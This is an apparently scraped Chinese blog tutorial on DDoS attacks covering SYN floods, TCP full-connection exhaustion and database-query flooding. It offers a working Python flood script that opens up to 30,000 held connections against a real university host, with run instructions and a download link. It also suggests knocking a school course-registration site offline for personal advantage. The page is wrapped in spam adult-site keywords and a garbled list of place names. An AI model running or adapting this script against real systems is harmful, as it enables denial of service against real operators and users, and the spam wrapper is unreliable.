最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網 會員登陸 & 注冊

DDoS攻擊包教包會(原理和實現)

2018-05-17 23:37 作者:NewtonCY  | 我要投稿

受限于作者水平,請多多包含本文中可能會出現的漏洞和錯誤

一、什么是DDoS攻擊

DDoS(DDoS:Distributed Denial of Service)分布式拒絕服務攻擊,就是讓多臺計算機聯(lián)合起來對目標發(fā)動拒絕服務攻擊。

那么什么又是拒絕服務攻擊(DoS)呢?拒絕服務攻擊即是攻擊者想辦法讓目標機器停止提供服務的攻擊。比如說把對方網頁服務搞癱瘓,讓對方網站訪問不了。

所以DDos攻擊,是采用分布式,并以讓別人訪問不了目標服務器為目的的攻擊。可被應用于發(fā)泄不滿,惡意的競爭等等。

比如學校讓搶課啦,而自己又沒時間去搶,完全可以開個DDoS,讓大家都搶不了課。等自己忙完了,再關掉DDoS。愉快的去搶課。也是一個應用嘛。

注意,這種做法是不合法的。

二、如何DDoS攻擊/DDoS攻擊的思路

  1. 最簡單的方式

    控制很多臺機器不斷訪問目標站點,或者不斷發(fā)送請求,如果訪問的流量足夠大,把目標站點拖垮了,那么它就拒絕服務了。

    顯然這種方法不經濟不實惠,消耗對方多少帶寬,自己就需要多少帶寬。這種方法是可行但是太傻以至于通常不會這樣做。我們需要的是消耗自己一點資源,就能消耗對方大量資源的方法。

  2. 最經典的方法——SYN Flood攻擊

    訪問一個網站,我們用的是TCP協(xié)議。TCP協(xié)議中規(guī)定,兩臺電腦要開始通訊,需要先建立一個連接。連接建立的具體過程是這樣的。

    1)電腦A想連接電腦B,A向B發(fā)送一個SYN信息,即同步信息。B電腦收到后回復一個確認信息ACK。

    TCP中每一個數據包都有一個序號,這樣接收的時候就知道發(fā)出來的先后順序(因為先發(fā)的不一定先到)和有沒有數據包漏掉(因為網絡原因,有幾個包在傳輸的途中丟了也是很正常的)。SYN包的作用是同步序號,即告訴對方我的下一個包的序號應該是多少。

    2)然后同樣的。B向A發(fā)送一個SYN包,A收到后回復一個ACK包,連接建立完成。

    概括一下,就是A發(fā)SYN,B發(fā)ACK+SYN,A發(fā)ACK,連接建立完成。這個過程一般稱為“三次握手”。

    而SYN Flood攻擊就是A發(fā)SYN包,B發(fā)ACK+SYN,此時A不發(fā)ACK而是再發(fā)一個SYN,然后不停的發(fā)SYN。這會產生大量建立了一半的連接,稱為半開連接。

    收到一個SYN,就會產生一個半開連接,正常情況下很快又會收到一個ACK,從而建立一個完整的連接。極少時候,一直收不到ACK,超時之后關閉這個半開連接。如果短時間內收到大量SYN而收不到ACK,就會建立很多半開連接,半開連接數如果超過上限,服務器就不會再接受SYN請求了,導致正常用戶連不上來。

    SYN攻擊簡單有效。因此大家都喜歡用它。所以服務器對這方面的防御往往會完善一點。同時也有很多現成的軟件可以用來防御SYN。同時,要在規(guī)定時間內讓半開連接數耗盡對網絡的帶寬還是有一定要求的。

  3. 我覺得還不錯的方法,TCP全連接攻擊。懟學校服務器效果拔群

    如果建立半連接無效,我們就只能建立全連接了。TCP全連接攻擊的思路是不斷建立正常的連接。維持每個連接不讓其釋放。當連接數積累到很大的時候,服務器就崩了。

    往往我們不斷制造一些垃圾數據通過連接傳輸。垃圾數據不需要很大的量,它的目的只是為了避免因為連接長時間沒有數據流而被服務器釋放。

    全連接攻擊的優(yōu)點在于通常不會像半連接一樣因為超時而被釋放掉。我們可以慢慢建立連接,不用著急。不需要多大帶寬。

    而服務器方面。需要對每一個連接分配一個線程甚至進程。分配線程的開銷是很大的。在投入資源和浪費服務器資源方面,可以說還是很高效了。

    個人認為,這種方法是很好防御的。比如可以檢查請求頭里面的cookie,看他是不是注冊了,登陸了。如果cookie驗證不過。就不準它長時間的傳輸數據。不過因為很多網站開發(fā)的構架本身不帶有這個功能(似乎?),所以一些劣質網站自然也不會帶有這種功能吧。

    附python代碼:

    復制過來也不知道縮進對不對,看看就行。要用的可以去我百度網盤下載。

    使用方法:下載安裝python最新版本。下載源碼,雙擊運行。

    記得將源碼中的網址改為自己想要用來測試的網址。

    源碼:鏈接:https://pan.baidu.com/s/169sIz5md7BGL9LCw8gdDOQ 密碼:ak15

    python官網:https://www.python.org/

    原理是發(fā)大量post請求,維持連接并發(fā)送少量垃圾數據。


#!/usr/bin/env python

import socket

import time

import threading


#Pressure Test,ddos tool

#---------------------------

MAX_CONN=30000

#改寫下面的網址為你想攻擊的網站?。。。。。。。?!

PORT=80

HOST="www.sspu.edu.cn"    

PAGE="/recitewords/api"

#---------------------------


buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]


def conn_thread():

    global socks

    while len(socks)<MAX_CONN:

        s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)

        try:

            s.connect((HOST,PORT))

            s.send(buf.encode('utf-8'))

            #print ("[+] Send buf OK!,conn=%d\n"%len(socks))

            socks.append(s)

         except Exception as ex:

            print ("[-] Could not connect to server or send error:%s"%ex)

            time.sleep(2)

#end def


def send_thread():

    global socks

    while True:

        for s in socks:

            try:

                s.send("f".encode('utf-8'))

                #print ("[+] send OK! %s"%s)

            except Exception as ex:

                print ("[-] send Exception:%s\n"%ex)

                socks.remove(s)

                s.close()

                time.sleep(1)

#end def


conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()


while(True):

    print("存活連接數:%d       "%len(socks))

    time.sleep(1)


4.針對數據庫來消耗資源

    此方法更簡單。大量發(fā)送get請求,請求網站需要查詢數據庫才能生成的網頁即可。簡單而有效。

關注,收藏,投硬幣?。。?!

DDoS攻擊包教包會(原理和實現)的評論 (共 條)

分享到微博請遵守國家法律
望奎县| 巩义市| 宜川县| 长泰县| 邢台市| 阿拉善盟| 视频| 日喀则市| 岳阳市| 彰化市| 巴塘县| 大冶市| 鹤山市| 乐业县| 南宁市| 潜江市| 揭东县| 洛宁县| 三明市| 绍兴县| 巴彦县| 卓资县| 广宗县| 山丹县| 枣强县| 定陶县| 莲花县| 深泽县| 玉山县| 沧州市| 厦门市| 安达市| 大港区| 泗水县| 望都县| 抚松县| 贵溪市| 阿克陶县| 宁城县| 广昌县| 称多县|